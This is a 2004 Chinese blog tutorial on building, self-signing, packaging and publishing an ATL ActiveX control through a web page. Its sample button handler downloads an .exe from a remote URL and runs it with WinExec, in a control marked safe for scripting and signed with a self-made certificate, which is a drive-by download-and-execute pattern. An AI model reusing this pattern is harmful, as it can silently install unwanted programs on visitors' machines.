一步一步 在线发布 ActiveX

先准备必备工具: 生成证书工具, 打包工具 , 签证工具
装了 platform sdk 就已经有前2种了, 再到 www.ca365.com上下载一个 SIGNCODE.EXE 签证用的.

1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如

下测试代码

::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe","c://xx.exe",0,NULL);
WinExec("c://xx.exe",SW_SHOW);

实现 IObjectSafety 接口

编译, 把activextest.dll copy 出来

2. 制作证书:
MakeCert -sv "test.pvk" n "CN=公司名称" test.CER
提示输入密匙: 3次输入的要一样

Cert2Spc test.CER test.spc

3.打成cab包
编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到

[version]
signature="$CHICAGO$"
AdvancedINF=2.0

[Add.Code]
activextes.dll=activextes.dll

[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes

CABARC -s 6144 n activextest.cab activextest.dll activextest.
4.签证
双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk

5.编写发布网页

 

 


CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">

 

 

ok, 把网页和cab包传到服务器上, 根据这些, 你可以编写一个象 3721 的网上安装程序了


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/newkey007/archive/2004/07/03/32942.aspx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值